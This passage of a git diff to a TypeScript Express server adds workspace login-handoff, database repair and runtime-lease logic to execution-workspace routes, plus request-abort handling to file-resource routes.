+import { spawn } from "node:child_process";
+import { accessSync, constants as fsConstants, existsSync, readFileSync } from "node:fs";
+import path from "node:path";
 import { and, eq } from "drizzle-orm";
 import { Router, type Request, type Response } from "express";
 import type { Db } from "@paperclipai/db";
@@ -11,12 +14,24 @@ import {
   workspaceRuntimeControlTargetSchema,
 } from "@paperclipai/shared";
 import type { WorkspaceRuntimeDesiredState, WorkspaceRuntimeServiceStateMap } from "@paperclipai/shared";
-import { validate } from "../middleware/validate.js";
-import { accessService, executionWorkspaceService, heartbeatService, logActivity, workspaceOperationService } from "../services/index.js";
 import {
-  mergeExecutionWorkspaceConfig,
-  readExecutionWorkspaceConfig,
-} from "../services/execution-workspaces.js";
+  baseWorkspaceDeclaresInstanceConfig,
+  resolveCanonicalWorktreeSeedSource,
+  type CanonicalWorktreeSeedSource,
+} from "@paperclipai/shared/worktree-seed-source";
+import { resolvePaperclipConfigPath } from "../paths.js";
+import { validate } from "../middleware/validate.js";
+import {
+  accessService,
+  executionWorkspaceService,
+  heartbeatService,
+  logActivity,
+  workspaceOperationService,
+  workspaceRuntimeLeaseService,
+  LEASED_WORKSPACE_RUNTIME_ACTIONS,
+  type WorkspaceRuntimeLeaseClaim,
+} from "../services/index.js";
+import { mergeExecutionWorkspaceConfig, readExecutionWorkspaceConfig } from "../services/execution-workspaces.js";
 import { parseProjectExecutionWorkspacePolicy } from "../services/execution-workspace-policy.js";
 import { readProjectWorkspaceRuntimeConfig } from "../services/project-workspace-runtime-config.js";
 import {
@@ -38,14 +53,42 @@ import { assertCanManageExecutionWorkspaceRuntimeServices } from "./workspace-ru
 import { appendWithCap } from "../adapters/utils.js";
 import { environmentRuntimeService } from "../services/environment-runtime.js";
 import type { PluginWorkerManager } from "../services/plugin-worker-manager.js";
+import { runExclusiveWorkspaceRuntimeControl } from "../services/workspace-operations.js";
+import { resolveManagedWorkspaceInstanceId } from "../services/managed-workspace-identity.js";
+import { isVerifiedWorktreeSeedManifest } from "../worktree-seed-manifest.js";
+import {
+  issueWorkspaceLoginHandoff,
+  workspaceLoginHandoffFailureStatus,
+} from "../services/workspace-login-handoff-issuer.js";
+import { conflict, unprocessable } from "../errors.js";
 
 const WORKSPACE_CONTROL_OUTPUT_MAX_CHARS = 256 * 1024;
 
+function isReadableFile(filePath: string) {
+  try {
+    accessSync(filePath, fsConstants.R_OK);
+    return true;
+  } catch {
+    return false;
+  }
+}
+
+/**
+ * The control plane's own instance config, named as the seed source only when the base
+ * project workspace is a plain checkout carrying no instance config of its own. A base
+ * workspace that has one stays authoritative, so an operator's mismatched source is
+ * still rejected.
+ */
+function resolveFallbackSeedSourceConfigPath(baseWorkspaceCwd: string): string | null {
+  return baseWorkspaceDeclaresInstanceConfig(baseWorkspaceCwd) ? null : resolvePaperclipConfigPath();
+}
+
 export function executionWorkspaceRoutes(db: Db, opts: { pluginWorkerManager?: PluginWorkerManager } = {}) {
   const router = Router();
   const svc = executionWorkspaceService(db);
   const access = accessService(db);
   const workspaceOperationsSvc = workspaceOperationService(db);
+  const runtimeLeases = workspaceRuntimeLeaseService(db);
   const heartbeat = heartbeatService(db, {
     pluginWorkerManager: opts.pluginWorkerManager,
   });
@@ -131,6 +174,87 @@ export function executionWorkspaceRoutes(db: Db, opts: { pluginWorkerManager?: P
     res.json(readiness);
   });
 
+  /**
+   * Mint a single-use workspace login handoff for the calling board user.
+   *
+   * Board-only: the ticket carries a user identity, so an agent key — which has
+   * no user to sign in — must never be able to mint one. Nothing in the request
+   * body influences what the ticket is bound to; only the landing path is taken
+   * from the caller, and it is reduced to a same-origin path before signing.
+   */
+  router.post("/execution-workspaces/:id/login-handoff", async (req, res) => {
+    const id = req.params.id as string;
+    assertBoard(req);
+    const workspace = await getAccessibleResource(req, res, svc.getById(id), "Execution workspace not found");
+    if (!workspace) return;
+    // Opening a workspace board is a runtime-control-grade action: it hands the
+    // caller an authenticated session inside the cloned instance.
+    if (!(await assertRuntimeManageAllowed(req, res, workspace.companyId))) return;
+
+    const requestedNext = typeof (req.body as { next?: unknown } | null)?.next === "string"
+      ? (req.body as { next: string }).next
+      : null;
+    const result = await issueWorkspaceLoginHandoff({
+      db,
+      companyId: workspace.companyId,
+      executionWorkspace: { id: workspace.id, cwd: workspace.cwd },
+      actor: {
+        userId: req.actor.userId ?? null,
+        userEmail: req.actor.userEmail ?? null,
+        source: req.actor.source ?? null,
+      },
+      next: requestedNext,
+    });
+
+    if (!result.ok) {
+      logger.warn(
+        {
+          executionWorkspaceId: workspace.id,
+          reason: result.failure.reason,
+          detail: "detail" in result.failure ? result.failure.detail : null,
+        },
+        "workspace login handoff was not issued",
+      );
+      res.status(workspaceLoginHandoffFailureStatus(result.failure)).json({
+        error: "workspace_login_handoff_unavailable",
+        // The UI turns this into the labeled snapshot-local credential fallback
+        // or a repair prompt, so the machine reason has to survive the boundary.
+        reason: result.failure.reason,
+        mode: "credentials",
+        ...("detail" in result.failure ? { detail: result.failure.detail } : {}),
+        ...("readiness" in result.failure ? { readiness: result.failure.readiness } : {}),
+      });
+      return;
+    }
+
+    await logActivity(db, {
+      companyId: workspace.companyId,
+      // Auditing issuance is a requirement of the handoff design: the nonce ties
+      // this record to the guest's own accept/reject record. The ticket itself is
+      // never recorded.
+      action: "workspace_login_handoff_issued",
+      entityType: "execution_workspace",
+      entityId: workspace.id,
+      actorType: "user",
+      actorId: result.issuance.userId,
+      details: {
+        nonce: result.issuance.nonce,
+        instanceId: result.issuance.instanceId,
+        origin: result.issuance.origin,
+        expiresAt: result.issuance.expiresAt,
+      },
+    }).catch((error) => {
+      logger.warn({ err: error, executionWorkspaceId: workspace.id }, "failed to audit workspace login handoff");
+    });
+
+    res.setHeader("Cache-Control", "no-store");
+    res.status(201).json({
+      url: result.issuance.url,
+      expiresAt: result.issuance.expiresAt,
+      mode: "handoff",
+    });
+  });
+
   router.get("/execution-workspaces/:id/workspace-operations", async (req, res) => {
     const id = req.params.id as string;
     const workspace = await getAccessibleResource(req, res, svc.getById(id), "Execution workspace not found");
@@ -143,7 +267,7 @@ export function executionWorkspaceRoutes(db: Db, opts: { pluginWorkerManager?: P
   async function handleExecutionWorkspaceRuntimeCommand(req: Request, res: Response) {
     const id = req.params.id as string;
     const action = String(req.params.action ?? "").trim().toLowerCase();
-    if (action !== "start" && action !== "stop" && action !== "restart" && action !== "run") {
+    if (action !== "start" && action !== "stop" && action !== "restart" && action !== "repair" && action !== "run") {
       res.status(404).json({ error: "Workspace command action not found" });
       return;
     }
@@ -152,7 +276,7 @@ export function executionWorkspaceRoutes(db: Db, opts: { pluginWorkerManager?: P
     if (!existing) return;
     if (!(await assertRuntimeManageAllowed(req, res, existing.companyId))) return;
 
-    await assertCanManageExecutionWorkspaceRuntimeServices(db, req, {
+    const authorization = await assertCanManageExecutionWorkspaceRuntimeServices(db, req, {
       companyId: existing.companyId,
       executionWorkspaceId: existing.id,
       sourceIssueId: existing.sourceIssueId,
@@ -179,6 +303,7 @@ export function executionWorkspaceRoutes(db: Db, opts: { pluginWorkerManager?: P
             and(
               eq(projectWorkspaces.id, existing.projectWorkspaceId),
               eq(projectWorkspaces.companyId, existing.companyId),
+              eq(projectWorkspaces.projectId, existing.projectId),
             ),
           )
           .then((rows) => rows[0] ?? null)
@@ -205,6 +330,7 @@ export function executionWorkspaceRoutes(db: Db, opts: { pluginWorkerManager?: P
     const configuredServices = effectiveRuntimeConfig
       ? listConfiguredRuntimeServiceEntries({ workspaceRuntime: effectiveRuntimeConfig })
       : [];
+    const repairRestartsRuntimeServices = action === "repair" && configuredServices.length > 0;
     const workspaceCommand = effectiveRuntimeConfig
       ? findWorkspaceCommandDefinition(effectiveRuntimeConfig, target.workspaceCommandId ?? null)
       : null;
@@ -251,6 +377,79 @@ export function executionWorkspaceRoutes(db: Db, opts: { pluginWorkerManager?: P
       return;
     }
 
+    let repairSeedSource: CanonicalWorktreeSeedSource | null = null;
+    let repairPreviousAttemptId: string | null = null;
+    let repairCliArgs: string[] | null = null;
+    if (action === "repair") {
+      const manifestPath = path.join(workspaceCwd, ".paperclip", "seed-manifest.json");
+      let manifest: {
+        attemptId?: unknown;
+        source?: { configPath?: unknown; instanceId?: unknown };
+        targetInstanceId?: unknown;
+      };
+      try {
+        manifest = JSON.parse(readFileSync(manifestPath, "utf8"));
+      } catch {
+        throw unprocessable("Workspace seed manifest is malformed; repair source identity cannot be trusted.", {
+          code: "workspace_repair_precondition_failed",
+          reason: "seed_manifest_malformed",
+          repairPhase: "precondition_validation",
+        });
+      }
+
+      try {
+        if (!projectWorkspace?.cwd) {
+          throw new Error("Workspace repair requires a registered base project workspace.");
+        }
+        const expectedTargetInstanceId = resolveManagedWorkspaceInstanceId(workspaceCwd);
+        if (!expectedTargetInstanceId) {
+          throw new Error("Workspace repair cannot resolve the registered target instance.");
+        }
+        repairSeedSource = resolveCanonicalWorktreeSeedSource({
+          registeredBaseWorkspaceCwd: projectWorkspace.cwd,
+          explicitSourceConfigPath: resolveFallbackSeedSourceConfigPath(projectWorkspace.cwd),
+          targetConfigPath: path.join(workspaceCwd, ".paperclip", "config.json"),
+          expectedTargetInstanceId,
+          manifestSource: manifest.source,
+          manifestTargetInstanceId: manifest.targetInstanceId,
+        });
+        repairPreviousAttemptId = typeof manifest.attemptId === "string" ? manifest.attemptId : null;
+
+        const baseWorkspaceCwd = repairSeedSource.baseWorkspaceCwd;
+        if (!baseWorkspaceCwd) {
+          throw new Error("Workspace repair source is not bound to a registered base project workspace.");
+        }
+        const cliRunner = path.join(baseWorkspaceCwd, "cli", "node_modules", "tsx", "dist", "cli.mjs");
+        const cliEntry = path.join(baseWorkspaceCwd, "cli", "src", "index.ts");
+        const cliDist = path.join(baseWorkspaceCwd, "cli", "dist", "index.js");
+        repairCliArgs = isReadableFile(cliRunner) && isReadableFile(cliEntry)
+          ? [cliRunner, cliEntry]
+          : isReadableFile(cliDist)
+            ? [cliDist]
+            : null;
+        if (!repairCliArgs) {
+          throw new Error("Workspace repair cannot find a runnable Paperclip CLI in the base workspace.");
+        }
+      } catch (error) {
+        throw unprocessable(
+          error instanceof Error ? error.message : "Workspace repair source validation failed.",
+          {
+            code: "workspace_repair_precondition_failed",
+            reason: "source_registration_invalid",
+            repairPhase: "precondition_validation",
+          },
+        );
+      }
+    }
+
+    // This check can reconcile a stale operation row, so repair source validation must
+    // precede it. Invalid manifest diagnostics must fail before any operation or service
+    // mutation, not merely before the reseed child process is spawned.
+    await workspaceOperationsSvc.assertRuntimeControlAvailable({
+      executionWorkspaceId: existing.id,
+      action,
+    });
+
     const actor = getActorInfo(req);
     const recorder = workspaceOperationsSvc.createRecorder({
       companyId: existing.companyId,
@@ -260,8 +459,62 @@ export function executionWorkspaceRoutes(db: Db, opts: { pluginWorkerManager?: P
     let stdout = "";
     let stderr = "";
 
-    const operation = await recorder.recordOperation({
-      phase: action === "stop" ? "workspace_teardown" : "workspace_provision",
+    /**
+     * Bring runtime rows, local listeners and the recorded desired state back to a consistent
+     * stopped shape after a start failed part-way. Best-effort by design: the operation is
+     * still failed (terminal) even if teardown itself cannot complete, and every step is
+     * something a normal managed `stop` would do, so authorization is unchanged.
+     */
+    let failedStartReconciled = false;
+    async function reconcileFailedRuntimeStart(cause: unknown) {
+      if (failedStartReconciled) return;
+      failedStartReconciled = true;
+      try {
+        await stopRuntimeServicesForExecutionWorkspace({
+          db,
+          executionWorkspaceId: existing!.id,
+          workspaceCwd: workspaceCwd!,
+          runtimeServiceId: selectedRuntimeServiceId,
+        });
+      } catch (teardownError) {
+        logger.warn(
+          {
+            executionWorkspaceId: existing!.id,
+            err: teardownError,
+            cause: cause instanceof Error ? cause.message : String(cause),
+          },
+          "failed to tear down runtime services after a failed managed start",
+        );
+      }
+
+      try {
+        const failedDesiredState = buildWorkspaceRuntimeDesiredStatePatch({
+          config: { workspaceRuntime: effectiveRuntimeConfig },
+          currentDesiredState: existing!.config?.desiredState ?? null,
+          currentServiceStates: existing!.config?.serviceStates ?? null,
+          action: "stop",
+          serviceIndex: selectedServiceIndex,
+        });
+        await svc.update(existing!.id, {
+          metadata: mergeExecutionWorkspaceConfig(existing!.metadata as Record<string, unknown> | null, {
+            desiredState: failedDesiredState.desiredState,
+            serviceStates: failedDesiredState.serviceStates,
+          }),
+        });
+      } catch (patchError) {
+        logger.warn(
+          { executionWorkspaceId: existing!.id, err: patchError },
+          "failed to record the stopped desired state after a failed managed start",
+        );
+      }
+    }
+
+    const recordRuntimeControlOperation = () => recorder.recordOperation({
+      phase: action === "stop"
+        ? "workspace_teardown"
+        : action === "repair"
+          ? "workspace_repair"
+          : "workspace_provision",
       command: workspaceCommand?.command ?? `workspace command ${action}`,
       cwd: existing.cwd,
       metadata: {
@@ -273,7 +526,7 @@ export function executionWorkspaceRoutes(db: Db, opts: { pluginWorkerManager?: P
         runtimeServiceId: selectedRuntimeServiceId,
         serviceIndex: selectedServiceIndex,
       },
-      run: async () => {
+      run: async (reportProgress) => {
         const ensureWorkspaceAvailable = async () =>
           await ensurePersistedExecutionWorkspaceAvailable({
             base: {
@@ -363,7 +616,243 @@ export function executionWorkspaceRoutes(db: Db, opts: { pluginWorkerManager?: P
           else stderr = appendWithCap(stderr, chunk, WORKSPACE_CONTROL_OUTPUT_MAX_CHARS);
         };
 
-        if (action === "stop" || action === "restart") {
+        if (action === "repair") {
+          type RepairPhase =
+            | "managed_stop"
+            | "precondition_validation"
+            | "target_backup"
+            | "full_reseed"
+            | "managed_restart"
+            | "readiness_validation";
+          const repairDiagnostics: Array<{
+            phase: RepairPhase;
+            status: "started" | "succeeded" | "failed";
+            at: string;
+          }> = [];
+          let repairPhase: RepairPhase = "managed_stop";
+          const repairPreconditionError = (
+            status: 409 | 422,
+            reason:
+              | "seed_manifest_malformed"
+              | "seed_manifest_instance_mismatch"
+              | "source_instance_unavailable"
+              | "paperclip_cli_unavailable",
+            message: string,
+          ) => {
+            const details = {
+              code: "workspace_repair_precondition_failed",
+              reason,
+              repairPhase,
+            };
+            return status === 409
+              ? conflict(message, details)
+              : unprocessable(message, details);
+          };
+          const reportRepairPhase = async (
+            phase: RepairPhase,
+            status: "started" | "succeeded" | "failed",
+          ) => {
+            repairPhase = phase;
+            repairDiagnostics.push({ phase, status, at: new Date().toISOString() });
+            if (repairDiagnostics.length > 32) repairDiagnostics.splice(0, repairDiagnostics.length - 32);
+            await reportProgress({
+              metadata: {
+                repairPhase,
+                repairDiagnostics: [...repairDiagnostics],
+                databaseOnly: true,
+                worktreePreserved: true,
+              },
+              system: `Workspace repair ${phase}: ${status}.\n`,
+            });
+          };
+
+          try {
+            await reportRepairPhase("managed_stop", "started");
+            await stopRuntimeServicesForExecutionWorkspace({
+              db,
+              executionWorkspaceId: existing.id,
+              workspaceCwd,
+            });
+            await reportRepairPhase("managed_stop", "succeeded");
+            if (!repairSeedSource?.baseWorkspaceCwd || !repairCliArgs) {
+              throw new Error("Workspace repair source preflight did not complete.");
+            }
+            const manifestPath = path.join(workspaceCwd, ".paperclip", "seed-manifest.json");
+            const sourceConfigPath = repairSeedSource.configPath;
+            const baseWorkspaceCwd = repairSeedSource.baseWorkspaceCwd;
+
+            await reportRepairPhase("target_backup", "started");
+            const child = spawn(process.execPath, [
+              ...repairCliArgs,
+              "worktree",
+              "reseed",
+              "--from-config",
+              sourceConfigPath,
+              "--to",
+              workspaceCwd,
+              "--seed-mode",
+              "full",
+              "--yes",
+              "--backup-target",
+            ], {
+              cwd: baseWorkspaceCwd,
+              env: {
+                ...process.env,
+                PAPERCLIP_SEED_EXPECTED_COMPANY_ID: existing.companyId,
+                PAPERCLIP_WORKSPACE_BASE_CWD: baseWorkspaceCwd,
+                PAPERCLIP_PROJECT_WORKSPACE_ID: existing.projectWorkspaceId ?? "",
+              },
+              stdio: ["ignore", "pipe", "pipe"],
+            });
+            child.stdout?.on("data", (chunk: Buffer) => {
+              void onLog("stdout", chunk.toString("utf8"));
+            });
+            child.stderr?.on("data", (chunk: Buffer) => {
+              void onLog("stderr", chunk.toString("utf8"));
+            });
+            let repairCommandTimedOut = false;
+            let repairCommandForceTimeout: NodeJS.Timeout | null = null;
+            const repairCommandTimeout = setTimeout(() => {
+              repairCommandTimedOut = true;
+              child.kill("SIGTERM");
+              repairCommandForceTimeout = setTimeout(() => child.kill("SIGKILL"), 5_000);
+              repairCommandForceTimeout.unref?.();
+            }, 20 * 60_000);
+            repairCommandTimeout.unref?.();
+
+            let reseedObserved = false;
+            const manifestPoll = setInterval(() => {
+              if (reseedObserved || !existsSync(manifestPath)) return;
+              try {
+                const current = JSON.parse(readFileSync(manifestPath, "utf8")) as {
+                  attemptId?: unknown;
+                  state?: unknown;
+                };
+                if (
+                  typeof current.attemptId === "string"
+                  && current.attemptId !== repairPreviousAttemptId
+                  && (current.state === "pending" || current.state === "running" || current.state === "failed")
+                ) {
+                  reseedObserved = true;
+                }
+              } catch {
+                // The atomic manifest writer makes this unlikely; the terminal
+                // read below remains authoritative.
+              }
+            }, 100);
+            manifestPoll.unref?.();
+            const exitCode = await new Promise<number>((resolve, reject) => {
+              child.once("error", reject);
+              child.once("exit", (code) => resolve(code ?? 1));
+            }).finally(() => {
+              clearInterval(manifestPoll);
+              clearTimeout(repairCommandTimeout);
+              if (repairCommandForceTimeout) clearTimeout(repairCommandForceTimeout);
+            });
+            if (reseedObserved) {
+              await reportRepairPhase("target_backup", "succeeded");
+              await reportRepairPhase("full_reseed", "started");
+            }
+            if (exitCode !== 0) {
+              let seedFailurePhase: string | null = null;
+              try {
+                const failedManifest = JSON.parse(readFileSync(manifestPath, "utf8")) as {
+                  phase?: unknown;
+                  state?: unknown;
+                };
+                seedFailurePhase = failedManifest.state === "failed" && typeof failedManifest.phase === "string"
+                  ? failedManifest.phase
+                  : null;
+              } catch {
+                // The outer repair phase remains exact when no seed phase was persisted.
+              }
+              await reportProgress({
+                metadata: { seedFailurePhase },
+                system: seedFailurePhase ? `Workspace seed failed during ${seedFailurePhase}.\n` : null,
+              });
+              throw new Error(
+                repairCommandTimedOut
+                  ? `Workspace database repair command timed out during ${repairPhase}.`
+                  : `Workspace database repair command failed during ${repairPhase}.`,
+              );
+            }
+            if (!reseedObserved) {
+              await reportRepairPhase("target_backup", "succeeded");
+              await reportRepairPhase("full_reseed", "started");
+            }
+
+            const manifest = JSON.parse(readFileSync(manifestPath, "utf8")) as Record<string, unknown>;
+            if (!isVerifiedWorktreeSeedManifest(manifest)) {
+              throw new Error("Workspace reseed returned without a verified terminal manifest.");
+            }
+            const expectedInstanceId = resolveManagedWorkspaceInstanceId(workspaceCwd);
+            if (manifest.targetInstanceId !== expectedInstanceId) {
+              throw repairPreconditionError(
+                422,
+                "seed_manifest_instance_mismatch",
+                "Verified seed manifest belongs to a different workspace instance.",
+              );
+            }
+            resolveCanonicalWorktreeSeedSource({
+              registeredBaseWorkspaceCwd: baseWorkspaceCwd,
+              explicitSourceConfigPath: resolveFallbackSeedSourceConfigPath(baseWorkspaceCwd),
+              targetConfigPath: path.join(workspaceCwd, ".paperclip", "config.json"),
+              expectedTargetInstanceId: repairSeedSource.targetInstanceId,
+              manifestSource: manifest.source as { configPath?: unknown; instanceId?: unknown } | undefined,
+              manifestTargetInstanceId: manifest.targetInstanceId,
+            });
+            await reportRepairPhase("full_reseed", "succeeded");
+
+            await reportRepairPhase("managed_restart", "started");
+            let startedServices: Awaited<ReturnType<typeof startRuntimeServicesForWorkspaceControl>> = [];
+            if (repairRestartsRuntimeServices) {
+              const availableWorkspace = await ensureWorkspaceAvailable();
+              if (!availableWorkspace) {
+                throw new Error("Execution workspace needs a local path before Paperclip can restart it.");
+              }
+              startedServices = await startRuntimeServicesForWorkspaceControl({
+                db,
+                actor: {
+                  id: actor.agentId ?? null,
+                  name: actor.actorType === "user" ? "Board" : "Agent",
+                  companyId: existing.companyId,
+                },
+                issue: existing.sourceIssueId
+                  ? { id: existing.sourceIssueId, identifier: null, title: existing.name }
+                  : null,
+                workspace: availableWorkspace,
+                executionWorkspaceId: existing.id,
+                config: {
+                  workspaceRuntime: effectiveRuntimeConfig,
+                  runtimeProvisionCommand:
+                    existing.config?.runtimeProvisionCommand
+                    ?? projectPolicy?.workspaceStrategy?.runtimeProvisionCommand
+                    ?? null,
+                },
+                adapterEnv: {},
+                onLog,
+                recorder,
+              });
+            }
+            runtimeServiceCount = startedServices.length;
+            await reportRepairPhase("managed_restart", "succeeded");
+
+            await reportRepairPhase("readiness_validation", "started");
+            if (
+              repairRestartsRuntimeServices
+              && (
+                startedServices.length === 0
+                || startedServices.some((service) => service.status !== "running" || service.healthStatus !== "healthy")
+              )
+            ) {
+              throw new Error("Managed restart did not produce healthy runtime services.");
+            }
+            await reportRepairPhase("readiness_validation", "succeeded");
+          } catch (error) {
+            await reportRepairPhase(repairPhase, "failed");
+            throw error;
+          }
+        } else if (action === "stop" || action === "restart") {
           await stopRuntimeServicesForExecutionWorkspace({
             db,
             executionWorkspaceId: existing.id,
@@ -377,36 +866,45 @@ export function executionWorkspaceRoutes(db: Db, opts: { pluginWorkerManager?: P
           if (!availableWorkspace) {
             throw new Error("Execution workspace needs a local path before Paperclip can manage local runtime services");
           }
-          const startedServices = await startRuntimeServicesForWorkspaceControl({
-            db,
-            actor: {
-              id: actor.agentId ?? null,
-              name: actor.actorType === "user" ? "Board" : "Agent",
-              companyId: existing.companyId,
-            },
-            issue: existing.sourceIssueId
-              ? {
-                  id: existing.sourceIssueId,
-                  identifier: null,
-                  title: existing.name,
-                }
-              : null,
-            workspace: availableWorkspace,
-            executionWorkspaceId: existing.id,
-            config: {
-              workspaceRuntime: effectiveRuntimeConfig,
-              runtimeProvisionCommand:
-                existing.config?.runtimeProvisionCommand
-                ?? projectPolicy?.workspaceStrategy?.runtimeProvisionCommand
-                ?? null,
-            },
-            adapterEnv: {},
-            onLog,
-            recorder,
-            serviceIndex: selectedServiceIndex,
-          });
+          let startedServices;
+          try {
+            startedServices = await startRuntimeServicesForWorkspaceControl({
+              db,
+              actor: {
+                id: actor.agentId ?? null,
+                name: actor.actorType === "user" ? "Board" : "Agent",
+                companyId: existing.companyId,
+              },
+              issue: existing.sourceIssueId
+                ? {
+                    id: existing.sourceIssueId,
+                    identifier: null,
+                    title: existing.name,
+                  }
+                : null,
+              workspace: availableWorkspace,
+              executionWorkspaceId: existing.id,
+              config: {
+                workspaceRuntime: effectiveRuntimeConfig,
+                runtimeProvisionCommand:
+                  existing.config?.runtimeProvisionCommand
+                  ?? projectPolicy?.workspaceStrategy?.runtimeProvisionCommand
+                  ?? null,
+              },
+              adapterEnv: {},
+              onLog,
+              recorder,
+              serviceIndex: selectedServiceIndex,
+            });
+          } catch (error) {
+            // A failed start must leave the workspace stopped and retryable rather than
+            // "desired running" with a half-started listener: tear down residue and record
+            // the stopped desired state before the operation is marked failed.
+            await reconcileFailedRuntimeStart(error);
+            throw error;
+          }
           runtimeServiceCount = startedServices.length;
-        } else {
+        } else if (action !== "repair") {
           runtimeServiceCount = selectedRuntimeServiceId ? Math.max(0, (existing.runtimeServices?.length ?? 1) - 1) : 0;
         }
 
@@ -429,7 +927,9 @@ export function executionWorkspaceRoutes(db: Db, opts: { pluginWorkerManager?: P
               config: { workspaceRuntime: effectiveRuntimeConfig },
               currentDesiredState,
               currentServiceStates: existing.config?.serviceStates ?? null,
-              action,
+              action: action === "repair"
+                ? repairRestartsRuntimeServices ? "start" : "stop"
+                : action,
               serviceIndex: selectedServiceIndex,
             });
         const metadata = mergeExecutionWorkspaceConfig(existing.metadata as Record<string, unknown> | null, {
@@ -447,17 +947,62 @@ export function executionWorkspaceRoutes(db: Db, opts: { pluginWorkerManager?: P
               ? "Stopped execution workspace runtime services.\n"
               : action === "restart"
                 ? "Restarted execution workspace runtime services.\n"
-                : "Started execution workspace runtime services.\n",
+                : action === "repair"
+                  ? repairRestartsRuntimeServices
+                    ? "Repaired the isolated workspace database and restarted healthy runtime services.\n"
+                    : "Repaired the isolated workspace database; no managed runtime services were configured to restart.\n"
+                  : "Started execution workspace runtime services.\n",
           metadata: {
             runtimeServiceCount,
             workspaceCommandId: workspaceCommand?.id ?? target.workspaceCommandId ?? null,
             runtimeServiceId: selectedRuntimeServiceId,
             serviceIndex: selectedServiceIndex,
+            runtimeRestarted: action === "repair" ? repairRestartsRuntimeServices : undefined,
           },
         };
       },
     });
 
+    const { operation, leaseClaim } = await runExclusiveWorkspaceRuntimeControl({
+      executionWorkspaceId: existing.id,
+      action,
+      run: async () => {
+        // Claim the durable exclusivity lease before anything mutates the workspace or
+        // its runtime services. A competing issue/run throws 409 here, leaving no
+        // workspace operation row and no runtime-service change behind.
+        let leaseClaimResult: WorkspaceRuntimeLeaseClaim | null = null;
+        if (LEASED_WORKSPACE_RUNTIME_ACTIONS.includes(action)) {
+          leaseClaimResult = await runtimeLeases.claim({
+            companyId: existing.companyId,
+            executionWorkspaceId: existing.id,
+            action,
+            owner: authorization,
+          });
+        }
+        // Re-check inside the claim: recovery of stranded operations plus a refusal if one
+        // is genuinely still live. The same assertion ran before the lease was taken, but a
+        // row can be stranded in that window, and only the recovering path may proceed.
+        await workspaceOperationsSvc.assertRuntimeControlAvailable({
+          executionWorkspaceId: existing.id,
+          action,
+        });
+        try {
+          return {
+            operation: await recordRuntimeControlOperation(),
+            leaseClaim: leaseClaimResult,
+          };
+        } catch (error) {
+          // The operation is already terminal here. This also catches the recorder's own time
+          // budget expiring on a start that never settles, which is the one failure the inner
+          // handler cannot see — reconcile there too so no listener or desired state is left over.
+          if (action === "start" || action === "restart" || action === "repair") {
+            await reconcileFailedRuntimeStart(error);
+          }
+          throw error;
+        }
+      },
+    });
+
     const workspace = await svc.getById(id);
     if (!workspace) {
       res.status(404).json({ error: "Execution workspace not found" });
@@ -481,6 +1026,13 @@ export function executionWorkspaceRoutes(db: Db, opts: { pluginWorkerManager?: P
         workspaceCommandName: workspaceCommand?.name ?? null,
         runtimeServiceId: selectedRuntimeServiceId,
         serviceIndex: selectedServiceIndex,
+        runtimeLease: leaseClaim
+          ? {
+              outcome: leaseClaim.outcome,
+              ownerKey: leaseClaim.ownerKey,
+              reclaimedFrom: leaseClaim.reclaimedFrom,
+            }
+          : null,
       },
     });
 
@@ -665,6 +1217,10 @@ export function executionWorkspaceRoutes(db: Db, opts: { pluginWorkerManager?: P
       workspace = archiveResult.workspace;
       const capturedGeneration = archiveResult.capturedGeneration;
 
+      // Closing the workspace ends the lane, so the runtime-control lease is released
+      // outright rather than waiting for owner-eligibility or TTL recovery.
+      await runtimeLeases.release({ executionWorkspaceId: existing.id, force: true });
+
       if (existing.mode === "shared_workspace") {
         await db
           .update(issues)
diff --git a/server/src/routes/file-resources.ts b/server/src/routes/file-resources.ts
index 0aa8e642200..4f852756afb 100644
--- a/server/src/routes/file-resources.ts
+++ b/server/src/routes/file-resources.ts
@@ -1,6 +1,6 @@
 import { createReadStream } from "node:fs";
 import { pipeline } from "node:stream/promises";
-import { Router } from "express";
+import { Router, type Request, type Response } from "express";
 import { ZodError } from "zod";
 import type { Db } from "@paperclipai/db";
 import {
@@ -17,6 +17,10 @@ import { badRequest, HttpError, notFound, unprocessable } from "../errors.js";
 import { workspaceFileResourceService } from "../services/index.js";
 import { assertBoard, getActorInfo, hasCompanyAccess } from "./authz.js";
 import { logActivity } from "../services/activity-log.js";
+import {
+  isWorkspaceGitScanError,
+  WORKSPACE_GIT_SCAN_ERROR_CODES,
+} from "../services/workspace-git-operation-scheduler.js";
 
 export type WorkspaceFileResourceService = {
   getIssue(issueId: string): Promise<{ companyId: string }>;
@@ -34,7 +38,10 @@ export type WorkspaceFileResourceService = {
     q?: string | null;
     limit?: number | null;
     offset?: number | null;
-  }, opts?: { issue?: Awaited<ReturnType<WorkspaceFileResourceService["getIssue"]>> }): Promise<WorkspaceFileListResponse>;
+  }, opts?: {
+    issue?: Awaited<ReturnType<WorkspaceFileResourceService["getIssue"]>>;
+    scanContext?: { signal?: AbortSignal; fairnessKeys?: readonly string[] };
+  }): Promise<WorkspaceFileListResponse>;
   resolve(
     issueId: string,
     input: { path: string; workspace?: "auto" | "execution" | "project" | null; projectId?: string | null; workspaceId?: string | null },
@@ -133,6 +140,23 @@ function limiterKey(companyId: string, actorId: string, issueId: string) {
   return `${companyId}:${actorId}:${issueId}`;
 }
 
+function requestAbortController(req: Request, res: Response) {
+  const controller = new AbortController();
+  const abort = () => controller.abort();
+  const abortIfResponseIncomplete = () => {
+    if (!res.writableEnded) abort();
+  };
+  req.once("aborted", abort);
+  res.once("close", abortIfResponseIncomplete);
+  return {
+    signal: controller.signal,
+    cleanup() {
+      req.off("aborted", abort);
+      res.off("close", abortIfResponseIncomplete);
+    },
+  };
+}
+
 function parseBooleanQuery(value: unknown) {
   return value === true || value === "true" || value === "1";
 }
@@ -147,7 +171,7 @@ function readQuery(query: unknown) {
     parsed = workspaceFileResourceQuerySchema.parse(query);
   } catch (error) {
     if (error instanceof ZodError) {
-      const refinement = error.errors.find((issue) => {
+      const refinement = error.issues.find((issue) => {
         const code = (issue as { params?: { code?: string } }).params?.code;
         return code === "invalid_path" || code === "invalid_target";
       });
@@ -170,7 +194,7 @@ function readListQuery(query: unknown) {
     parsed = workspaceFileListQuerySchema.parse(query);
   } catch (error) {
     if (error instanceof ZodError) {
-      const refinement = error.errors.find((issue) => {
+      const refinement = error.issues.find((issue) => {
         const code = (issue as { params?: { code?: string } }).params?.code;
         return code === "invalid_query" || code === "invalid_target" || code === "invalid_path";
       });
@@ -569,8 +593,19 @@ export function fileResourceRoutes(db: Db, opts: {
       throw error;
     }
 
+    const requestAbort = requestAbortController(req, res);
     try {
-      const result = await svc.list(req.params.issueId, query, { issue });
+      const result = await svc.list(req.params.issueId, query, {
+        issue,
